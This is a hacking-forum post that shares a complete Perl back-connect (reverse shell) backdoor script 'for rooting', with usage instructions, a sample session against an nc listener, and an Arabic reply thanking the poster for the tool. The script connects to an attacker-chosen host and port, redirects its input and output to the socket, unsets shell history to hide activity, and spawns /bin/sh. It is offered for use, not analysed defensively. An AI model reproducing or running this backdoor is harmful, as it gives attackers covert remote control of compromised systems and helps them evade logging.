Perl Back Connect script for rooting

 			 				#!/usr/bin/perl 
use IO::Socket; 
#Pakistani Haxorz Script ==>urduhack /code5 (in search of peace ) Connect Back Shell           
#code by:Code5 
#We Are :Urduhack                                            
#Email:codeof5@hotmail.com 
# 
#code5@SlackwareLinux:/home/programing$ perl bc.pl 
# <==BackConnect Shell/Backdoor VS 2.5 by CODE5 |URDUHACK| PAKISTAN ==>
# 
#Usage: bc.pl [Host] [Port] 
# 
#Ex: bc.pl 127.0.0.1 2121 
#code5@SlackwareLinux:/home/programing$ perl bc.pl 127.0.0.1 2121 
#--== BackConnect Shell/Backdoor VS 2.5 by CODE5 |URDUHACK| PAKISTAN ==-- 
# 
#
[li] Resolving HostName [/li]
#
[li] Connecting... 127.0.0.1 [/li]#
[li] Spawning Shell [/li]#
[li] Connected to remote host [/li]
#bash-2.05b# nc -vv -l -p 2121 
#listening on [any] 2121 ... 
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769 
# <==BackConnect Shell/Backdoor VS 2.5 by CODE5 |URDUHACK| PAKISTAN ==># 
#--==Systeminfo==-- 
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux 
# 
#--==Userinfo==-- 
#uid=1001(code5) gid=100(users) groups=100(users) 
# 
#--==Directory==-- 
#/root 
# 
#--==Shell==-- 
# 
$system    = '/bin/sh'; 
$ARGC=@ARGV;  
print "# <==BackConnect Shell/Backdoor VS 2.5 by CODE5 |URDUHACK| PAKISTAN ==> 

";  
if ($ARGC!=2) {  
   print "Usage: $0 [Host] [Port] 

";  
   die "Ex: $0 127.0.0.1 2121 
";  
}  
use Socket;  
use FileHandle;  
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host
";  
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host
";  
print "
[li] Resolving HostName[/li]"; 
print "
[li] Connecting... $ARGV[0] [/li]";  
print "
[li] Spawning Shell [/li]"; 
print "
[li] Connected to remote host [/li]"; 
SOCKET->autoflush();  
open(STDIN, ">&SOCKET");  
open(STDOUT,">&SOCKET");  
open(STDERR,">&SOCKET");  
print "--== BackConnect Shell/Backdoor VS 2.5 by CODE5 |URDUHACK| PAKISTAN==--  

";  
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo; 
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");  
system($system); 
#EOF  

شكرااا لك يا أخ علي الأداة

		 		[b] 			شكرااا لك يا أخ علي الأداة 		  		[/b]